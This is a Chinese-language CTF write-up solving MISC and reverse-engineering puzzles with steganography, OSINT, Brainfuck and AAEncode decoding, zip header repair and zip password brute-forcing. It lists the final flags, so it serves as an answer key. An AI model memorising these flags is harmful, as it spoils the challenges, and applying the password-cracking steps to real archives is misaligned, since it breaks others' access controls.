缺少隐写的密码,看看题目名字,查找《花海》的发售日期,2008.10.15,试了一下,密码是081015,非常棒,因为默认密码是6位的123456,所以这里就猜测了6位
steghide extract -sf '/var/run/vmblock-fuse/blockdir/NQpNkb/flag.jpg' -p 081015
flag:flag{sh!ni1IuDE1eiy6nk@i}

【MISC】1小时10分钟后看海

先确定它是北戴河区,然后该地点是海滨汽车站,打开高德,选择搜索栏,更多,找到公交站,北戴河海滨汽车站,点进去就是801路了,有三个可能的地点
试了蔚蓝海岸、圣蓝海洋公园,最终确定是中间的黄金海岸,huangjinhaian
flag: flag{a69edbf339190c91f7779cb68741a5c8}

【MISC】不要骂人哦

爬梯子游戏,很好,没看懂游戏规则QWQ

题目:从上方任意出发点,向下走,遇到分叉(平行或向下)就沿线变化方向。 这样上面的出发点和下面结果就会一一对应。
嘶,看了一点官方视频,他讲完1和2的对应,我就明白了,1:下右下左,对应+;2:下下下右下右下右下右下右下,对应[;3:下左下右下,对应>;依次类推,4:<;5:-;6:.;7:*
对txt文件进行替换

++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>+++++.<<<<<<+.>>------.>>>>.<<<<<<++++++.>>>>------.>>+++.<<+++++.<<-.>>>>+.<<<<+++++++++.<++++++++.>>>>>--.<<<<<++.<---.>>>>>>---.<<--.<<--.>>>>++.<<<<<++.>-.>>>>.<<<<<.>>-----.>>>-.<<++.<<<<+.>>>>>>+++.<<.<<<<++.>>>>>>>-.<<<---.<<<<------.

很明显的Brainfuck加密
https://www.splitbrain.org/services/ook
得到做出这题的你期末必过!继续MD5一下
flag:flag{3ea5a70772e0bb1e70655fb42ff30b0d}

【MISC】你懂二维码吗?

打开压缩包,发现一张二维码以及一个压缩包,但压缩包已经损坏了,无法解压,010查看,文件头不对,修改50 4B 03 04,保存解压,发现里面的压缩包加密了,试一下能不能已知明文攻击,好,行不通,看二维码有什么东西
发现文件尾的666777888,是压缩包的密码,1.txt文件是一张png图片,修改后缀为png,是一张二维码,扫码发现flag:flag{zun_du_jia_du}
emmmm,这是困难的misc??我还以为要继续对二维码处理的呢,毕竟题目都这么说了,emmm放到中等难度吧

【MISC】HIDE

解压附件,得到一张图片,两个加密的压缩包,图片属性的详细信息里告诉我们

flag有两个,随便组合一下吧!                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         flag{So}

好家伙藏的够深的,拉到最后有个flag{So},还好点击它的时候感觉不对劲,一句话不可能这么长,这样子说明还有另外一个flag
然后就没别的信息了,binwalk分离没有信息,已知明文攻击也不行,那就直接爆破压缩包密码,1.zip破到了199956,得到一张二维码
内容是摩斯电码.. .-.. --- ...- . -- .. ... -.-.,解密得到ilovemisc
然后也不是第二个压缩包的密码,留着当flag吧,然后第二个压缩包也没爆破出来
再看一眼图片,有个登录时间1999.5.6,原来是这里给的信息,但其他的试了都不是密码
然后我在想,这个摩斯电码解出来的会不会是大写的呢,因为我上学期打新生赛的时候有道题也是工具解出来的是全小写的,然后错了,队友交的时候跟我说是全大写。。。
一试还真的是全大写,这下得换个网站了,得到1.txt

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

是颜文字吧,搜颜文字在线解密
https://www.toolkk.com/tools/aaencode-encode-decode
原来这算是AAEncode,涨见识了,得到alert("flag{Good}");
结合前面,组合一下flag,flag{SoGood}

【REVERSE】一个flag劈三瓣儿

IDA打开,发现flag函数,cv工程师上线
flag{HaiZI233N145wuD!le112@666}

总结

题目很多,可以说是Web手的福利局了(12道Web,全场最多),下午五点才开始打,一直到晚上九点,主要输出是密码(这玩意算杂项吧这次的)和杂项,时间不多,就快速摸了几道简单的Web,有些Web卡壳了然后就放一边,后面再补,因为其他的题我感觉就快出了(手动狗头),然后赛后补web,上面很多题都是赛后补的